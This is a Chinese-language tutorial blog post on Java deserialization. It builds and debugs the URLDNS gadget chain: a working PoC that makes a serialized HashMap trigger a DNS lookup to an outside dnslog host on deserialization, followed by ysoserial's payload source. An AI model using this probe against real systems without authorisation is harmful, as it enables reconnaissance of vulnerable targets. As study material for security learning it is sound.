title: Java反序列化漏洞(五)—学习第一个gadget-URLDNS
date: 2021-10-19 10:17:49
categories: Java安全


[toc]

前言

拖得挺久蛤,嘿嘿。上篇简单看了 Shiro 的漏洞原理,但是只用了工具没有对反序列化的过程进行深入,本篇文章就先从最简单的 URLDNS gadget 进行学习。通常使用此 gadget 的目的一是探测目标是否存在反序列化漏洞,因为本 gadget 不依赖任何第三方库;二是可以确定目标机器是否可以出网。

利用

先编一个 URLDNS 的利用连,后面再去分析 ysoserial 是怎么生成这个 payload 的

  1. package com.yq1ng;
  2. import java.io.FileInputStream;
  3. import java.io.FileOutputStream;
  4. import java.io.ObjectInputStream;
  5. import java.io.ObjectOutputStream;
  6. import java.lang.reflect.Field;
  7. import java.net.URL;
  8. import java.util.HashMap;
  9. /**
  10. * @author ying
  11. * @Description
  12. * @create 2021-10-19 10:38 AM
  13. */
  14. public class URLDNS {
  15. public static void main(String[] args) throws Exception {
  16. // new一个 HashMap 出来,这是此 gadget 的起点;然后设置需要访问的 url
  17. HashMap hashMap = new HashMap();
  18. URL url = new URL("http://8471gk.dnslog.cn");
  19. // 将私有的 hashCode 设置为可以更改
  20. Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
  21. field.setAccessible(true);
  22. // 设置 url 对象内的 hashCode 为 0x123(此值任意更改)
  23. field.set(url, 0x123);
  24. // 将键值存入 hashMap
  25. hashMap.put(url, "yq1ng");
  26. // 设置 url 对象内的 hashCode 为 -1(不可更改,后面会说)
  27. field.set(url, -1);
  28. // 序列化,写入文件
  29. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));
  30. outputStream.writeObject(hashMap);
  31. outputStream.close();
  32. // 反序列化,读取文件
  33. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));
  34. inputStream.readObject();
  35. inputStream.close();
  36. }
  37. }

运行后可以在 dnslog 上看到请求

URLDNS - 图1

调试

利用链是从 HashMap 开始的,所以 ctrl + n 搜索类名:HashMap

URLDNS - 图2

先快速了解一下 HashMap 的作用,大致就是将一个键值对的二维数组转为一维数组,一维数组的下标为 hash(key)

然后直接来到 readObject(),看看主要利用代码

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws IOException, ClassNotFoundException {
  3. // 布拉不拉一大堆
  4. for (int i = 0; i < mappings; i++) {
  5. @SuppressWarnings("unchecked")
  6. K key = (K) s.readObject();
  7. @SuppressWarnings("unchecked")
  8. V value = (V) s.readObject();
  9. // 注意此处计算hash,跟进
  10. putVal(hash(key), key, value, false, false);
  11. }
  12. }
static final int hash(Object key) {
        int h;
        //    继续跟,但是再直接点就进不去了,打个断点跟进去
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

来到 java/net/URL.java.hashCode()

URLDNS - 图3

URLDNS - 图4

插一句:这里的 handler 是 URLStreamHandler 类的实例。当 hashCode == -1 时才会计算 key 的 hash,这就解释了 poc 中这一句代码:field.set(url, -1);,继续往下看,进入 handler.hashCode(this)

URLDNS - 图5

运行到 359 行,看 getHostAddress() 函数名字知道是获取 host 的地址,跟进

URLDNS - 图6

762 行就是根据主机名获取其 ip

如果继续跟进去以后可以发现这一段,如果 host 是 IP 那么程序将不必继续下去

URLDNS - 图7

梳理

经过上面的调试后来梳理一下利用链:

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

不过还有一个问题,就是 poc 中的 field.set(url, 0x123);。为什么要先修改 url 内的 hashCode 在将 url 存到 HashMap 内呢?答案就在上面,如果不设置 hashCode 不为 -1 的话,那么存入 hashMap 的时候就会触发一次 hash(key),也就是本地生成 poc 会执行一次 DNS请求,这会对我们的判断造成影响,所以要先设置其不为 -1 ,存入 hashMap 以后再将其变回来,这样只会执行一次 DNS 了

探索

先看 ysoserial 的代码,为了不占篇幅我把部分注释删了

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

它代码中没有使用 field.set(url, 0x123); ,但是自定了一个类为 SilentURLStreamHandler,这个类重写了getHostAddress() 函数,重写后的 getHostAddress() 是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求了,nice!

参考

JAVA反序列化-ysoserial-URLDNS